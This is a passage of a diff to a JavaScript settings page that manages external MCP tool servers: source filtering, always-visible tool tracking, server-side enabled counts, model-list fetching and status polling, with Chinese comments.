|
renderExternalMcpFilterChip();
|
||||||
|
await loadToolsList(1, toolsSearchKeyword);
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateExternalMcpCardSelection() {
|
||||||
|
document.querySelectorAll('.external-mcp-item').forEach(item => {
|
||||||
|
item.classList.toggle('selected', item.dataset.mcpName === toolsExternalMcpFilter);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderExternalMcpFilterChip() {
|
||||||
|
let chip = document.getElementById('tools-source-filter-chip');
|
||||||
|
const toolsActions = document.querySelector('.mcp-tools-panel .tools-actions');
|
||||||
|
if (!toolsActions) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!chip) {
|
||||||
|
chip = document.createElement('div');
|
||||||
|
chip.id = 'tools-source-filter-chip';
|
||||||
|
chip.className = 'tools-source-filter-chip';
|
||||||
|
toolsActions.appendChild(chip);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!toolsExternalMcpFilter) {
|
||||||
|
chip.style.display = 'none';
|
||||||
|
chip.innerHTML = '';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const t = typeof window.t === 'function' ? window.t : (k) => k;
|
||||||
|
chip.style.display = 'inline-flex';
|
||||||
|
chip.innerHTML = `
|
||||||
|
<span>${t('mcp.filterBySource', { name: escapeHtml(toolsExternalMcpFilter) })}</span>
|
||||||
|
<button type="button" class="tools-source-filter-clear" onclick="clearExternalMcpFilter()" title="${escapeHtml(t('mcp.clearSourceFilter'))}">×</button>
|
||||||
|
`;
|
||||||
|
}
|
||||||
|
|
||||||
// 渲染工具列表分页控件
|
// 渲染工具列表分页控件
|
||||||
function renderToolsPagination() {
|
function renderToolsPagination() {
|
||||||
const toolsList = document.getElementById('tools-list');
|
const toolsList = document.getElementById('tools-list');
|
||||||
@@ -847,14 +1044,15 @@ function handleToolCheckboxChange(toolKey, enabled) {
|
|||||||
updateToolsStats();
|
updateToolsStats();
|
||||||
}
|
}
|
||||||
|
|
||||||
function handleToolAlwaysVisibleChange(toolName, alwaysVisible) {
|
function handleToolAlwaysVisibleChange(toolKey, alwaysVisible) {
|
||||||
const name = (toolName || '').trim();
|
const key = (toolKey || '').trim();
|
||||||
if (!name) return;
|
if (!key) return;
|
||||||
if (alwaysVisible) {
|
if (alwaysVisible) {
|
||||||
alwaysVisibleToolNames.add(name);
|
addAlwaysVisibleAliases(key);
|
||||||
} else {
|
} else {
|
||||||
alwaysVisibleToolNames.delete(name);
|
removeAlwaysVisibleAliases(key);
|
||||||
}
|
}
|
||||||
|
updateToolsStats();
|
||||||
}
|
}
|
||||||
|
|
||||||
// 全选工具
|
// 全选工具
|
||||||
@@ -964,60 +1162,22 @@ async function updateToolsStats() {
|
|||||||
return checkbox ? checkbox.checked : tool.enabled;
|
return checkbox ? checkbox.checked : tool.enabled;
|
||||||
}).length;
|
}).length;
|
||||||
} else {
|
} else {
|
||||||
// 没有搜索时,需要获取所有工具的状态
|
// 使用服务端统计,避免为统计翻页触发多次外部 MCP ListTools
|
||||||
// 先使用全局状态映射和当前页的checkbox状态
|
totalEnabled = toolsPagination.totalEnabled ?? 0;
|
||||||
const localStateMap = new Map();
|
if (toolStateMap.size > 0) {
|
||||||
|
let delta = 0;
|
||||||
// 从当前页的checkbox获取状态(如果全局映射中没有)
|
allTools.forEach(tool => {
|
||||||
allTools.forEach(tool => {
|
const toolKey = getToolKey(tool);
|
||||||
const toolKey = getToolKey(tool);
|
const savedState = toolStateMap.get(toolKey);
|
||||||
const savedState = toolStateMap.get(toolKey);
|
if (savedState === undefined) {
|
||||||
if (savedState !== undefined) {
|
return;
|
||||||
localStateMap.set(toolKey, savedState.enabled);
|
|
||||||
} else {
|
|
||||||
const checkboxId = `tool-${toolKey.replace(/::/g, '--')}`;
|
|
||||||
const checkbox = document.getElementById(checkboxId);
|
|
||||||
if (checkbox) {
|
|
||||||
localStateMap.set(toolKey, checkbox.checked);
|
|
||||||
} else {
|
|
||||||
// 如果checkbox不存在(不在当前页),使用工具原始状态
|
|
||||||
localStateMap.set(toolKey, tool.enabled);
|
|
||||||
}
|
}
|
||||||
}
|
if (savedState.enabled !== tool.enabled) {
|
||||||
});
|
delta += savedState.enabled ? 1 : -1;
|
||||||
|
|
||||||
// 如果总工具数大于当前页,需要获取所有工具的状态
|
|
||||||
if (totalTools > allTools.length) {
|
|
||||||
// 遍历所有页面获取完整状态
|
|
||||||
let page = 1;
|
|
||||||
let hasMore = true;
|
|
||||||
const pageSize = 100; // 使用较大的页面大小以减少请求次数
|
|
||||||
|
|
||||||
while (hasMore && page <= 10) { // 限制最多10页,避免无限循环
|
|
||||||
const url = `/api/config/tools?page=${page}&page_size=${pageSize}`;
|
|
||||||
const pageResponse = await apiFetch(url);
|
|
||||||
if (!pageResponse.ok) break;
|
|
||||||
|
|
||||||
const pageResult = await pageResponse.json();
|
|
||||||
pageResult.tools.forEach(tool => {
|
|
||||||
// 优先使用全局状态映射,否则使用服务器返回的状态
|
|
||||||
const toolKey = getToolKey(tool);
|
|
||||||
if (!localStateMap.has(toolKey)) {
|
|
||||||
const savedState = toolStateMap.get(toolKey);
|
|
||||||
localStateMap.set(toolKey, savedState ? savedState.enabled : tool.enabled);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
if (page >= pageResult.total_pages) {
|
|
||||||
hasMore = false;
|
|
||||||
} else {
|
|
||||||
page++;
|
|
||||||
}
|
}
|
||||||
}
|
});
|
||||||
|
totalEnabled = Math.max(0, totalEnabled + delta);
|
||||||
}
|
}
|
||||||
|
|
||||||
// 计算启用的工具数
|
|
||||||
totalEnabled = Array.from(localStateMap.values()).filter(enabled => enabled).length;
|
|
||||||
}
|
}
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.warn('获取工具统计失败,使用当前页数据', error);
|
console.warn('获取工具统计失败,使用当前页数据', error);
|
||||||
@@ -1027,7 +1187,7 @@ async function updateToolsStats() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const tStats = typeof window.t === 'function' ? window.t : (k) => k;
|
const tStats = typeof window.t === 'function' ? window.t : (k) => k;
|
||||||
const pinnedCount = alwaysVisibleToolNames.size;
|
const pinnedCount = countUserAlwaysVisibleTools();
|
||||||
statsEl.innerHTML = `
|
statsEl.innerHTML = `
|
||||||
<span title="${tStats('mcp.currentPageEnabled')}">✅ ${tStats('mcp.currentPageEnabled')}: <strong>${currentPageEnabled}</strong> / ${currentPageTotal}</span>
|
<span title="${tStats('mcp.currentPageEnabled')}">✅ ${tStats('mcp.currentPageEnabled')}: <strong>${currentPageEnabled}</strong> / ${currentPageTotal}</span>
|
||||||
<span title="${tStats('mcp.totalEnabled')}">📊 ${tStats('mcp.totalEnabled')}: <strong>${totalEnabled}</strong> / ${totalTools}</span>
|
<span title="${tStats('mcp.totalEnabled')}">📊 ${tStats('mcp.totalEnabled')}: <strong>${totalEnabled}</strong> / ${totalTools}</span>
|
||||||
@@ -1410,9 +1570,214 @@ function syncVisionFormEnabled() {
|
|||||||
if (panel) {
|
if (panel) {
|
||||||
panel.style.opacity = enabled ? '1' : '0.55';
|
panel.style.opacity = enabled ? '1' : '0.55';
|
||||||
panel.querySelectorAll('input, select, textarea, a').forEach(el => {
|
panel.querySelectorAll('input, select, textarea, a').forEach(el => {
|
||||||
if (el.id === 'test-vision-btn') return;
|
if (el.id === 'test-vision-btn' || el.id === 'fetch-vision-models-btn' || el.id === 'vision-model-select') return;
|
||||||
el.disabled = !enabled;
|
el.disabled = !enabled;
|
||||||
});
|
});
|
||||||
|
syncModelListFetchButtons();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function initModelListControls() {
|
||||||
|
const providerEl = document.getElementById('openai-provider');
|
||||||
|
if (providerEl && !providerEl.dataset.modelListBound) {
|
||||||
|
providerEl.dataset.modelListBound = '1';
|
||||||
|
providerEl.addEventListener('change', syncModelListFetchButtons);
|
||||||
|
}
|
||||||
|
const visionProv = document.getElementById('vision-provider');
|
||||||
|
if (visionProv && !visionProv.dataset.modelListBound) {
|
||||||
|
visionProv.dataset.modelListBound = '1';
|
||||||
|
visionProv.addEventListener('change', syncModelListFetchButtons);
|
||||||
|
}
|
||||||
|
bindModelSelect('openai');
|
||||||
|
bindModelSelect('vision');
|
||||||
|
syncModelListFetchButtons();
|
||||||
|
}
|
||||||
|
|
||||||
|
function modelSelectIds(scope) {
|
||||||
|
if (scope === 'vision') {
|
||||||
|
return { selectId: 'vision-model-select', inputId: 'vision-model' };
|
||||||
|
}
|
||||||
|
return { selectId: 'openai-model-select', inputId: 'openai-model' };
|
||||||
|
}
|
||||||
|
|
||||||
|
function bindModelSelect(scope) {
|
||||||
|
const { selectId, inputId } = modelSelectIds(scope);
|
||||||
|
const select = document.getElementById(selectId);
|
||||||
|
if (!select || select.dataset.bound) return;
|
||||||
|
select.dataset.bound = '1';
|
||||||
|
select.addEventListener('change', function () {
|
||||||
|
if (!select.value) return;
|
||||||
|
const input = document.getElementById(inputId);
|
||||||
|
if (input) input.value = select.value;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
function resolveModelListCredentials(scope) {
|
||||||
|
if (scope === 'vision') {
|
||||||
|
const vp = (document.getElementById('vision-provider')?.value || '').trim();
|
||||||
|
const provider = vp || document.getElementById('openai-provider')?.value || 'openai';
|
||||||
|
const baseUrl = (document.getElementById('vision-base-url')?.value || '').trim()
|
||||||
|
|| (document.getElementById('openai-base-url')?.value || '').trim();
|
||||||
|
const apiKey = (document.getElementById('vision-api-key')?.value || '').trim()
|
||||||
|
|| (document.getElementById('openai-api-key')?.value || '').trim();
|
||||||
|
return { provider, base_url: baseUrl, api_key: apiKey };
|
||||||
|
}
|
||||||
|
return {
|
||||||
|
provider: document.getElementById('openai-provider')?.value || 'openai',
|
||||||
|
base_url: (document.getElementById('openai-base-url')?.value || '').trim(),
|
||||||
|
api_key: (document.getElementById('openai-api-key')?.value || '').trim()
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
function syncModelListFetchButtons() {
|
||||||
|
const tFn = typeof window.t === 'function' ? window.t : (k) => k;
|
||||||
|
const openaiProv = document.getElementById('openai-provider')?.value || 'openai';
|
||||||
|
const openaiBtn = document.getElementById('fetch-openai-models-btn');
|
||||||
|
const openaiHint = document.getElementById('fetch-openai-models-hint');
|
||||||
|
const openaiSelect = document.getElementById('openai-model-select');
|
||||||
|
const isClaudeOpenai = openaiProv === 'claude';
|
||||||
|
if (openaiBtn) {
|
||||||
|
openaiBtn.style.display = isClaudeOpenai ? 'none' : '';
|
||||||
|
}
|
||||||
|
if (openaiSelect && isClaudeOpenai) {
|
||||||
|
openaiSelect.style.display = 'none';
|
||||||
|
}
|
||||||
|
if (openaiHint) {
|
||||||
|
if (isClaudeOpenai) {
|
||||||
|
openaiHint.textContent = tFn('settingsBasic.modelsListClaudeHint');
|
||||||
|
openaiHint.style.display = '';
|
||||||
|
} else {
|
||||||
|
openaiHint.textContent = '';
|
||||||
|
openaiHint.style.display = 'none';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const vp = (document.getElementById('vision-provider')?.value || '').trim();
|
||||||
|
const visionEffectiveProv = vp || openaiProv;
|
||||||
|
const visionBtn = document.getElementById('fetch-vision-models-btn');
|
||||||
|
const visionHint = document.getElementById('fetch-vision-models-hint');
|
||||||
|
const visionSelect = document.getElementById('vision-model-select');
|
||||||
|
const isClaudeVision = visionEffectiveProv === 'claude';
|
||||||
|
if (visionBtn) {
|
||||||
|
visionBtn.style.display = isClaudeVision ? 'none' : '';
|
||||||
|
}
|
||||||
|
if (visionSelect && isClaudeVision) {
|
||||||
|
visionSelect.style.display = 'none';
|
||||||
|
}
|
||||||
|
if (visionHint) {
|
||||||
|
if (isClaudeVision) {
|
||||||
|
visionHint.textContent = tFn('settingsBasic.modelsListClaudeHint');
|
||||||
|
visionHint.style.display = '';
|
||||||
|
} else {
|
||||||
|
visionHint.textContent = '';
|
||||||
|
visionHint.style.display = 'none';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function populateModelSelect(scope, models, currentValue) {
|
||||||
|
const { selectId, inputId } = modelSelectIds(scope);
|
||||||
|
const select = document.getElementById(selectId);
|
||||||
|
const input = document.getElementById(inputId);
|
||||||
|
if (!select) return;
|
||||||
|
const tFn = typeof window.t === 'function' ? window.t : (k) => k;
|
||||||
|
select.innerHTML = '';
|
||||||
|
const placeholder = document.createElement('option');
|
||||||
|
placeholder.value = '';
|
||||||
|
placeholder.disabled = true;
|
||||||
|
placeholder.textContent = tFn('settingsBasic.modelsListSelectPlaceholder');
|
||||||
|
select.appendChild(placeholder);
|
||||||
|
|
||||||
|
const seen = new Set();
|
||||||
|
const addOption = (id) => {
|
||||||
|
const val = (id || '').trim();
|
||||||
|
if (!val || seen.has(val)) return;
|
||||||
|
seen.add(val);
|
||||||
|
const opt = document.createElement('option');
|
||||||
|
opt.value = val;
|
||||||
|
opt.textContent = val;
|
||||||
|
select.appendChild(opt);
|
||||||
|
};
|
||||||
|
(models || []).forEach(addOption);
|
||||||
|
const cur = (currentValue || (input && input.value) || '').trim();
|
||||||
|
if (cur && seen.has(cur)) {
|
||||||
|
select.value = cur;
|
||||||
|
} else {
|
||||||
|
select.value = '';
|
||||||
|
}
|
||||||
|
select.style.display = select.options.length > 1 ? '' : 'none';
|
||||||
|
}
|
||||||
|
|
||||||
|
async function fetchModelList(scope) {
|
||||||
|
const tFn = typeof window.t === 'function' ? window.t : (k) => k;
|
||||||
|
const creds = resolveModelListCredentials(scope);
|
||||||
|
const btnId = scope === 'vision' ? 'fetch-vision-models-btn' : 'fetch-openai-models-btn';
|
||||||
|
const resultId = scope === 'vision' ? 'fetch-vision-models-result' : 'fetch-openai-models-result';
|
||||||
|
const inputId = scope === 'vision' ? 'vision-model' : 'openai-model';
|
||||||
|
const btn = document.getElementById(btnId);
|
||||||
|
const resultEl = document.getElementById(resultId);
|
||||||
|
const inputEl = document.getElementById(inputId);
|
||||||
|
|
||||||
|
if (creds.provider === 'claude') {
|
||||||
|
if (resultEl) {
|
||||||
|
resultEl.textContent = tFn('settingsBasic.modelsListClaudeHint');
|
||||||
|
resultEl.style.color = 'var(--text-muted, #718096)';
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (!creds.api_key) {
|
||||||
|
if (resultEl) {
|
||||||
|
resultEl.textContent = tFn('settingsBasic.modelsListNeedApiKey');
|
||||||
|
resultEl.style.color = 'var(--error-color, #e53e3e)';
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (btn) {
|
||||||
|
btn.style.pointerEvents = 'none';
|
||||||
|
btn.style.opacity = '0.5';
|
||||||
|
}
|
||||||
|
if (resultEl) {
|
||||||
|
resultEl.textContent = tFn('settingsBasic.modelsListFetching');
|
||||||
|
resultEl.style.color = 'var(--text-muted, #718096)';
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const response = await apiFetch('/api/config/list-models', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json' },
|
||||||
|
body: JSON.stringify(creds)
|
||||||
|
});
|
||||||
|
const result = await response.json();
|
||||||
|
if (!response.ok) {
|
||||||
|
throw new Error(result.error || '请求失败');
|
||||||
|
}
|
||||||
|
if (!result.success) {
|
||||||
|
if (resultEl) {
|
||||||
|
resultEl.textContent = (result.supported === false
|
||||||
|
? tFn('settingsBasic.modelsListClaudeHint')
|
||||||
|
: tFn('settingsBasic.modelsListFailed')) + ': ' + (result.error || '');
|
||||||
|
resultEl.style.color = 'var(--error-color, #e53e3e)';
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const currentValue = inputEl ? inputEl.value.trim() : '';
|
||||||
|
populateModelSelect(scope, result.models || [], currentValue);
|
||||||
|
if (resultEl) {
|
||||||
|
const count = result.count != null ? result.count : (result.models || []).length;
|
||||||
|
resultEl.textContent = tFn('settingsBasic.modelsListSuccess').replace('{count}', String(count));
|
||||||
|
resultEl.style.color = 'var(--success-color, #38a169)';
|
||||||
|
}
|
||||||
|
} catch (error) {
|
||||||
|
if (resultEl) {
|
||||||
|
resultEl.textContent = tFn('settingsBasic.modelsListFailed') + ': ' + error.message;
|
||||||
|
resultEl.style.color = 'var(--error-color, #e53e3e)';
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
if (btn) {
|
||||||
|
btn.style.pointerEvents = '';
|
||||||
|
btn.style.opacity = '';
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1535,7 +1900,7 @@ async function saveToolsConfig() {
|
|||||||
robot_default_agent_mode: currentConfig?.multi_agent?.robot_default_agent_mode || 'eino_single',
|
robot_default_agent_mode: currentConfig?.multi_agent?.robot_default_agent_mode || 'eino_single',
|
||||||
batch_use_multi_agent: currentConfig?.multi_agent?.batch_use_multi_agent === true,
|
batch_use_multi_agent: currentConfig?.multi_agent?.batch_use_multi_agent === true,
|
||||||
plan_execute_loop_max_iterations: Number(currentConfig?.multi_agent?.plan_execute_loop_max_iterations || 0),
|
plan_execute_loop_max_iterations: Number(currentConfig?.multi_agent?.plan_execute_loop_max_iterations || 0),
|
||||||
tool_search_always_visible_tools: Array.from(alwaysVisibleToolNames).filter(name => !alwaysVisibleBuiltinToolNames.has(name))
|
tool_search_always_visible_tools: getAlwaysVisibleForSave()
|
||||||
},
|
},
|
||||||
tools: []
|
tools: []
|
||||||
};
|
};
|
||||||
@@ -1732,6 +2097,32 @@ async function fetchExternalMCPs() {
|
|||||||
return response.json();
|
return response.json();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// MCP 管理页定时刷新外部 MCP 状态(感知后台断连/自动重连)
|
||||||
|
let externalMcpPollTimer = null;
|
||||||
|
const EXTERNAL_MCP_POLL_INTERVAL_MS = 8000;
|
||||||
|
|
||||||
|
function startExternalMcpPoll() {
|
||||||
|
stopExternalMcpPoll();
|
||||||
|
externalMcpPollTimer = setInterval(function () {
|
||||||
|
const mcpPage = document.getElementById('page-mcp-management');
|
||||||
|
if (!mcpPage || !mcpPage.classList.contains('active')) {
|
||||||
|
stopExternalMcpPoll();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (document.hidden) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
loadExternalMCPs().catch(function () { /* ignore */ });
|
||||||
|
}, EXTERNAL_MCP_POLL_INTERVAL_MS);
|
||||||
|
}
|
||||||
|
|
||||||
|
function stopExternalMcpPoll() {
|
||||||
|
if (externalMcpPollTimer) {
|
||||||
|
clearInterval(externalMcpPollTimer);
|
||||||
|
externalMcpPollTimer = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 加载外部MCP列表并渲染
|
// 加载外部MCP列表并渲染
|
||||||
async function loadExternalMCPs() {
|
async function loadExternalMCPs() {
|
||||||
try {
|
try {
|
||||||
@@ -1750,6 +2141,13 @@ async function loadExternalMCPs() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function reloadMcpToolsAfterExternalChange(refreshExternal = false) {
|
||||||
|
if (typeof loadToolsList === 'function') {
|
||||||
|
const page = (toolsPagination && toolsPagination.page) ? toolsPagination.page : 1;
|
||||||
|
await loadToolsList(page, toolsSearchKeyword, { refreshExternal });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 轮询列表直到指定 MCP 的工具数量已更新(每秒拉一次,拿到即停,无固定延迟)
|
// 轮询列表直到指定 MCP 的工具数量已更新(每秒拉一次,拿到即停,无固定延迟)
|
||||||
// name 为 null 时仅按 maxAttempts 次数轮询,不判断 tool_count
|
// name 为 null 时仅按 maxAttempts 次数轮询,不判断 tool_count
|
||||||
async function pollExternalMCPToolCount(name, maxAttempts = 10) {
|
async function pollExternalMCPToolCount(name, maxAttempts = 10) {
|
||||||
@@ -1768,6 +2166,7 @@ async function pollExternalMCPToolCount(name, maxAttempts = 10) {
|
|||||||
console.warn('轮询工具数量失败:', e);
|
console.warn('轮询工具数量失败:', e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
await reloadMcpToolsAfterExternalChange(true);
|
||||||
if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
|
if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
|
||||||
window.refreshMentionTools();
|
window.refreshMentionTools();
|
||||||
}
|
}
|
||||||
@@ -1802,8 +2201,15 @@ function renderExternalMCPList(servers) {
|
|||||||
const transport = server.config.type || server.config.transport || (server.config.command ? 'stdio' : 'http');
|
const transport = server.config.type || server.config.transport || (server.config.command ? 'stdio' : 'http');
|
||||||
const transportIcon = transport === 'stdio' ? '⚙️' : '🌐';
|
const transportIcon = transport === 'stdio' ? '⚙️' : '🌐';
|
||||||
|
|
||||||
|
const hasTools = server.tool_count !== undefined && server.tool_count > 0;
|
||||||
|
const cardClickTitle = hasTools
|
||||||
|
? escapeHtml(statusT('mcp.clickToViewTools', { name }))
|
||||||
|
: '';
|
||||||
|
const cardClass = hasTools ? 'external-mcp-item clickable' : 'external-mcp-item';
|
||||||
|
const selectedClass = toolsExternalMcpFilter === name ? ' selected' : '';
|
||||||
|
|
||||||
html += `
|
html += `
|
||||||
<div class="external-mcp-item">
|
<div class="${cardClass}${selectedClass}" data-mcp-name="${escapeHtml(name)}"${hasTools ? ` onclick="scrollToExternalMCPTools('${escapeHtml(name)}', event)" title="${cardClickTitle}"` : ''}>
|
||||||
<div class="external-mcp-item-header">
|
<div class="external-mcp-item-header">
|
||||||
<div class="external-mcp-item-info">
|
<div class="external-mcp-item-info">
|
||||||
<h4>${transportIcon} ${escapeHtml(name)}${server.tool_count !== undefined && server.tool_count > 0 ? `<span class="tool-count-badge" title="${escapeHtml(statusT('mcp.toolCount'))}">🔧 ${server.tool_count}</span>` : ''}</h4>
|
<h4>${transportIcon} ${escapeHtml(name)}${server.tool_count !== undefined && server.tool_count > 0 ? `<span class="tool-count-badge" title="${escapeHtml(statusT('mcp.toolCount'))}">🔧 ${server.tool_count}</span>` : ''}</h4>
|
||||||
@@ -1822,9 +2228,9 @@ function renderExternalMCPList(servers) {
|
|||||||
<button class="btn-small btn-danger" onclick="deleteExternalMCP('${escapeHtml(name)}')" title="${statusT('mcp.deleteConfig')}" ${status === 'connecting' ? 'disabled' : ''}>🗑 ${statusT('common.delete')}</button>
|
<button class="btn-small btn-danger" onclick="deleteExternalMCP('${escapeHtml(name)}')" title="${statusT('mcp.deleteConfig')}" ${status === 'connecting' ? 'disabled' : ''}>🗑 ${statusT('common.delete')}</button>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
${status === 'error' && server.error ? `
|
${(status === 'error' || status === 'disconnected') && server.error ? `
|
||||||
<div class="external-mcp-error" style="margin: 12px 0; padding: 12px; background: #fee; border-left: 3px solid #f44; border-radius: 4px; color: #c33; font-size: 0.875rem;">
|
<div class="external-mcp-error" style="margin: 12px 0; padding: 12px; background: ${status === 'error' ? '#fee' : '#fff8e6'}; border-left: 3px solid ${status === 'error' ? '#f44' : '#e6a700'}; border-radius: 4px; color: ${status === 'error' ? '#c33' : '#8a6d00'}; font-size: 0.875rem;">
|
||||||
<strong>❌ ${statusT('mcp.connectionErrorLabel')}</strong>${escapeHtml(server.error)}
|
<strong>${status === 'error' ? '❌' : '⚠️'} ${statusT('mcp.connectionErrorLabel')}</strong>${escapeHtml(server.error)}
|
||||||
</div>` : ''}
|
</div>` : ''}
|
||||||
<div class="external-mcp-item-details">
|
<div class="external-mcp-item-details">
|
||||||
<div>
|
<div>
|
||||||
@@ -1866,6 +2272,7 @@ function renderExternalMCPList(servers) {
|
|||||||
}
|
}
|
||||||
html += '</div>';
|
html += '</div>';
|
||||||
list.innerHTML = html;
|
list.innerHTML = html;
|
||||||
|
updateExternalMcpCardSelection();
|
||||||
}
|
}
|
||||||
|
|
||||||
// 渲染外部MCP统计信息
|
// 渲染外部MCP统计信息
|
||||||
@@ -1895,47 +2302,42 @@ function showAddExternalMCPModal() {
|
|||||||
document.getElementById('external-mcp-json-error').style.display = 'none';
|
document.getElementById('external-mcp-json-error').style.display = 'none';
|
||||||
document.getElementById('external-mcp-json-error').textContent = '';
|
document.getElementById('external-mcp-json-error').textContent = '';
|
||||||
document.getElementById('external-mcp-json').classList.remove('error');
|
document.getElementById('external-mcp-json').classList.remove('error');
|
||||||
document.getElementById('external-mcp-modal').style.display = 'block';
|
openAppModal('external-mcp-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭外部MCP模态框
|
// 关闭外部MCP模态框
|
||||||
function closeExternalMCPModal() {
|
function closeExternalMCPModal() {
|
||||||
document.getElementById('external-mcp-modal').style.display = 'none';
|
closeAppModal('external-mcp-modal');
|
||||||
currentEditingMCPName = null;
|
currentEditingMCPName = null;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 编辑外部MCP
|
// 编辑外部MCP
|
||||||
async function editExternalMCP(name) {
|
async function editExternalMCP(name) {
|
||||||
try {
|
try {
|
||||||
|
currentEditingMCPName = name;
|
||||||
|
document.getElementById('external-mcp-modal-title').textContent = (typeof window.t === 'function' ? window.t('mcp.editExternalMCP') : '编辑外部MCP');
|
||||||
|
document.getElementById('external-mcp-json').value = '';
|
||||||
|
document.getElementById('external-mcp-json-error').style.display = 'none';
|
||||||
|
document.getElementById('external-mcp-json-error').textContent = '';
|
||||||
|
document.getElementById('external-mcp-json').classList.remove('error');
|
||||||
|
openAppModal('external-mcp-modal', { focus: false });
|
||||||
const response = await apiFetch(`/api/external-mcp/${encodeURIComponent(name)}`);
|
const response = await apiFetch(`/api/external-mcp/${encodeURIComponent(name)}`);
|
||||||
if (!response.ok) {
|
if (!response.ok) {
|
||||||
throw new Error(typeof window.t === 'function' ? window.t('mcp.getConfigFailed') : '获取外部MCP配置失败');
|
throw new Error(typeof window.t === 'function' ? window.t('mcp.getConfigFailed') : '获取外部MCP配置失败');
|
||||||
}
|
}
|
||||||
|
|
||||||
const server = await response.json();
|
const server = await response.json();
|
||||||
currentEditingMCPName = name;
|
|
||||||
|
|
||||||
document.getElementById('external-mcp-modal-title').textContent = (typeof window.t === 'function' ? window.t('mcp.editExternalMCP') : '编辑外部MCP');
|
|
||||||
|
|
||||||
// 将配置转换为对象格式(key为名称)
|
|
||||||
const config = { ...server.config };
|
const config = { ...server.config };
|
||||||
// 移除tool_count、external_mcp_enable等前端字段,但保留enabled/disabled用于向后兼容
|
|
||||||
delete config.tool_count;
|
delete config.tool_count;
|
||||||
delete config.external_mcp_enable;
|
delete config.external_mcp_enable;
|
||||||
|
|
||||||
// 包装成对象格式:{ "name": { config } }
|
|
||||||
const configObj = {};
|
const configObj = {};
|
||||||
configObj[name] = config;
|
configObj[name] = config;
|
||||||
|
|
||||||
// 格式化JSON
|
|
||||||
const jsonStr = JSON.stringify(configObj, null, 2);
|
const jsonStr = JSON.stringify(configObj, null, 2);
|
||||||
document.getElementById('external-mcp-json').value = jsonStr;
|
deferModalContent(() => {
|
||||||
document.getElementById('external-mcp-json-error').style.display = 'none';
|
document.getElementById('external-mcp-json').value = jsonStr;
|
||||||
document.getElementById('external-mcp-json-error').textContent = '';
|
document.getElementById('external-mcp-json')?.focus();
|
||||||
document.getElementById('external-mcp-json').classList.remove('error');
|
});
|
||||||
|
|
||||||
document.getElementById('external-mcp-modal').style.display = 'block';
|
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
|
closeExternalMCPModal();
|
||||||
console.error('编辑外部MCP失败:', error);
|
console.error('编辑外部MCP失败:', error);
|
||||||
alert((typeof window.t === 'function' ? window.t('mcp.operationFailed') : '编辑失败') + ': ' + error.message);
|
alert((typeof window.t === 'function' ? window.t('mcp.operationFailed') : '编辑失败') + ': ' + error.message);
|
||||||
}
|
}
|
||||||
@@ -2226,6 +2628,7 @@ async function toggleExternalMCP(name, currentStatus) {
|
|||||||
}
|
}
|
||||||
// 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟)
|
// 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟)
|
||||||
pollExternalMCPToolCount(name, 10);
|
pollExternalMCPToolCount(name, 10);
|
||||||
|
await reloadMcpToolsAfterExternalChange(true);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -2238,6 +2641,7 @@ async function toggleExternalMCP(name, currentStatus) {
|
|||||||
} else {
|
} else {
|
||||||
// 停止操作,直接刷新
|
// 停止操作,直接刷新
|
||||||
await loadExternalMCPs();
|
await loadExternalMCPs();
|
||||||
|
await reloadMcpToolsAfterExternalChange(false);
|
||||||
// 刷新对话界面的工具列表
|
// 刷新对话界面的工具列表
|
||||||
if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
|
if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
|
||||||
window.refreshMentionTools();
|
window.refreshMentionTools();
|
||||||
@@ -2289,6 +2693,7 @@ async function pollExternalMCPStatus(name, maxAttempts = 30) {
|
|||||||
}
|
}
|
||||||
// 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟)
|
// 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟)
|
||||||
pollExternalMCPToolCount(name, 10);
|
pollExternalMCPToolCount(name, 10);
|
||||||
|
await reloadMcpToolsAfterExternalChange(true);
|
||||||
return;
|
return;
|
||||||
} else if (status === 'error' || status === 'disconnected') {
|
} else if (status === 'error' || status === 'disconnected') {
|
||||||
// 连接失败,刷新列表并显示错误
|
// 连接失败,刷新列表并显示错误
|
||||||
|
|||||||
+40
-40
